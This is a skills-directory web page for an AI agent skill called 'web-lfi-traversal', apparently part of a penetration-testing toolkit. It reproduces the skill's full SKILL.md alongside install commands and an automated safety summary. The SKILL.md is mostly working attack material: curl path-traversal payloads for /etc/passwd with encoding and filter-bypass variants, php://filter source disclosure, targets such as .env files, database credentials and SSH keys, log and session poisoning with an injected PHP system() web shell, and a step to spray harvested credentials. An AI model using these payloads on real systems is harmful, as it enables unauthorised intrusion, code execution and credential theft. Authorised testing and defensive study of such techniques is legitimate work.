Php Archive Extract Audit
0xShe/PHP-Code-Audit-Skill
PHP Web 归档解压(Zip Slip/路径穿越)审计工具。识别解压条目名如何与目标目录拼接、是否存在 base dir 约束缺失,输出可利用性分级、可观测 PoC 与修复建议(禁止省略)。
Path traversal / Local File Inclusion detection→file-read→RCE for web apps.
$ npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install s0ld13rr/pentestcode web-lfi-traversal --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/web/lfi-traversal .claude/skills/web-lfi-traversal && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "web-lfi-traversal" agent skill from https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/lfi-traversal into .claude/skills/web-lfi-traversal/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "web-lfi-traversal", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/lfi-traversalType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install s0ld13rr/pentestcode web-lfi-traversal --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/web/lfi-traversal .agents/skills/web-lfi-traversal && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "web-lfi-traversal" agent skill from https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/lfi-traversal into .agents/skills/web-lfi-traversal/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "web-lfi-traversal", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install s0ld13rr/pentestcode web-lfi-traversal --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/web/lfi-traversal .cursor/skills/web-lfi-traversal && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "web-lfi-traversal" agent skill from https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/lfi-traversal into .cursor/skills/web-lfi-traversal/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "web-lfi-traversal", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/s0ld13rr/pentestcode.git --path skills/web/lfi-traversal--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install s0ld13rr/pentestcode web-lfi-traversal --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/web/lfi-traversal .gemini/skills/web-lfi-traversal && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "web-lfi-traversal" agent skill from https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/lfi-traversal into .gemini/skills/web-lfi-traversal/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "web-lfi-traversal", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install s0ld13rr/pentestcode web-lfi-traversalInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/web/lfi-traversal .github/skills/web-lfi-traversal && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "web-lfi-traversal" agent skill from https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/lfi-traversal into .github/skills/web-lfi-traversal/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "web-lfi-traversal", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install s0ld13rr/pentestcode web-lfi-traversal --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/web/lfi-traversal .opencode/skills/web-lfi-traversal && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "web-lfi-traversal" agent skill from https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/lfi-traversal into .opencode/skills/web-lfi-traversal/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "web-lfi-traversal", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
web-lfi-traversalPath traversal / Local File Inclusion detection→file-read→RCE for web apps.
Web Lfi Traversal is an agent skill from s0ld13rr/pentestcode. Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Use when a param names a file/path/page/template/lang/download, or a response embeds file contents. Triggers - file=/page=/path=/template=/lang=/download=/include= param, ../, %2e%2e, "no such file", directory listing, download endpoint.
Its SKILL.md is about 600 tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security. It works with PHP. The repository describes itself as: PentestCode - Multi-agent AI penetration testing system with persistent engagement state, strategic coordination, and parallel autonomous operations. The licence is MIT.
Read from SKILL.md and the folder at commit 6053679. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
curlFrom the folder's file list and the shell code blocks in SKILL.md.
No URLs in SKILL.md. Its commands use curl, which can reach the network depending on how they are called.
From URLs in SKILL.md, links to its own repository left out.
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Web Lfi Traversal loads about 602 tokens when it runs. Until then it costs about 83 tokens; SKILL.md has 139 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check noted patterns worth knowing about, such as sudo or a known installer.
# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdlineapp shouldn't return (`/etc/passwd`, an .env with creds), or `id` via an LFI→RCE chain. Harvested creds → add_credentiaAutomated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from s0ld13rr/pentestcode at commit 6053679, republished under its MIT licence (© s0ld13rr). 139 words, ~602 tokens.
.claude/skills/web-lfi-traversal/SKILL.md (or your agent's skills folder).A param selects a file/page/template/language/download, or a download/include endpoint reflects file content.
curl 'http://<t>/?page=../../../../etc/passwd' # classic
curl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd' # url-encoded
curl 'http://<t>/?page=....//....//etc/passwd' # filter-strip bypassroot:x:0:0 back = traversal/LFI. Windows: ..\..\..\windows\win.ini.
include() (LFI) → escalate to RCE via wrappers/poisoning.page.php) → php://filter (below) or null-byte on old PHP; try ?page=../../etc/passwd%00 (PHP<5.3.4).# source disclosure (base64 so PHP doesn't execute it):
curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d
# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline
# LFI → RCE paths:
# log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log
# session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID>
# php://input / data:// (if allow_url_include) ; /proc/self/environ (older)
# php filter chain → RCE (php_filter_chain_generator) when only file-read is availableProof required: contents of a file the app shouldn't return (/etc/passwd, an .env with creds), or id via an LFI→RCE chain. Harvested creds → add_credential + cred_spray.
nuclei -tags lfi,traversal; ffuf with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases.
../ → try encodings, ....//, absolute paths, or a different param.© s0ld13rr, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in skills/web/lfi-traversal of s0ld13rr/pentestcode.
Open the folder on GitHubat commit 6053679
Web Lfi Traversal next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Web Lfi Traversal this skills0ld13rr/pentestcode | 828 | — | ~602 | Automated safety check: Notes | MIT | |
| Php Archive Extract Audit0xShe/PHP-Code-Audit-Skill | 402 | 1 repos | ~883 | Automated safety check: Pass | None | |
| Php Auth Audit0xShe/PHP-Code-Audit-Skill | 402 | 1 repos | ~951 | Automated safety check: Pass | None | |
| Auditing Code For Vulnerabilitiestrilwu/secskills | 157 | — | ~3.2k | Automated safety check: Pass | MIT | |
| Php Cmd Audit0xShe/PHP-Code-Audit-Skill | 402 | 1 repos | ~465 | Automated safety check: Pass | None | |
| Php Config Audit0xShe/PHP-Code-Audit-Skill | 402 | 1 repos | ~417 | Automated safety check: Notes | None |
0xShe/PHP-Code-Audit-Skill
PHP Web 归档解压(Zip Slip/路径穿越)审计工具。识别解压条目名如何与目标目录拼接、是否存在 base dir 约束缺失,输出可利用性分级、可观测 PoC 与修复建议(禁止省略)。
0xShe/PHP-Code-Audit-Skill
PHP Web 源码鉴权机制审计工具。从源码中识别所有认证/鉴权实现并分析风险,输出路由-鉴权映射与漏洞分析(含 PoC 与修复建议)。
trilwu/secskills
Audit source code for exploitable vulnerabilities using threat-model-driven review, taint tracing, invariant checking, and variant analysis.
0xShe/PHP-Code-Audit-Skill
PHP Web 源码命令注入审计工具。识别命令执行 Sink(exec/system/shellexec 等),追踪用户输入进入命令拼接,输出可利用性分级、PoC 与修复建议(禁止省略)。
0xShe/PHP-Code-Audit-Skill
PHP Web 配置安全审计工具。识别 CORS/错误暴露/调试开关/安全头/危险运行时开关等,输出分级、可利用性分析、PoC 与修复建议(禁止省略)。
0xShe/PHP-Code-Audit-Skill
PHP Web 源码表达式注入(非模板)审计工具。识别用户可控表达式字符串进入表达式引擎求值/编译并最终导致敏感语义执行,输出可利用性分级、PoC 与修复建议(禁止省略)。
s0ld13rr/pentestcode
Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft.
s0ld13rr/pentestcode
Android APK static analysis — OWASP Mobile Top 10, Retrofit API audit, transport security, smali reading, component export, auth flow analysis.
s0ld13rr/pentestcode
SQL injection detection→exploitation→proof for web apps and APIs.
s0ld13rr/pentestcode
Server-Side Template Injection detection→engine-fingerprint→RCE for web apps.
s0ld13rr/pentestcode
XML External Entity injection detection→file-read/SSRF→proof for web apps.
s0ld13rr/pentestcode
Database RCE paths — UDF, xpcmdshell, COPY TO PROGRAM, Redis key write.
Works with
Categories
Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Web Lfi Traversal is an agent skill from s0ld13rr/pentestcode. Path traversal / Local File Inclusion detection→file-read→RCE for web apps.
Web Lfi Traversal fits situations like: A param names a file/path/page/template/lang/download; A response embeds file contents; - file=/page=/path=/template=/lang=/download=/include= param; directory listing.
Run `npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a claude-code`. Or copy the skill folder (skills/web/lfi-traversal in s0ld13rr/pentestcode) into .claude/skills/web-lfi-traversal in your project. Claude Code loads it when a task matches its description.
Run `npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a codex`. Or copy the skill folder (skills/web/lfi-traversal in s0ld13rr/pentestcode) into .agents/skills/web-lfi-traversal in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/web-lfi-traversal, .gemini/skills/web-lfi-traversal, .github/skills/web-lfi-traversal and .opencode/skills/web-lfi-traversal in your project.
Going by SKILL.md and its folder, Web Lfi Traversal needs the command-line tools its instructions call (curl).
SKILL.md contains no URLs. Its commands use curl, which can reach the network depending on how they are called. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found notes only (mentions a .env file), nothing it rates as a warning. It is not a guarantee. Review the folder before installing.
Web Lfi Traversal is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
About 602 tokens (SKILL.md is roughly 2.4k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Web Lfi Traversal: Php Archive Extract Audit (0xShe/PHP-Code-Audit-Skill, 402 stars), Php Auth Audit (0xShe/PHP-Code-Audit-Skill, 402 stars), Auditing Code For Vulnerabilities (trilwu/secskills, 157 stars) and Php Cmd Audit (0xShe/PHP-Code-Audit-Skill, 402 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
s0ld13rr (a GitHub user) maintains it in s0ld13rr/pentestcode, which has 828 GitHub stars. The repository holds 9 skills in this directory. The repository was last updated on October 2, 2026.
Source: s0ld13rr/pentestcode on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.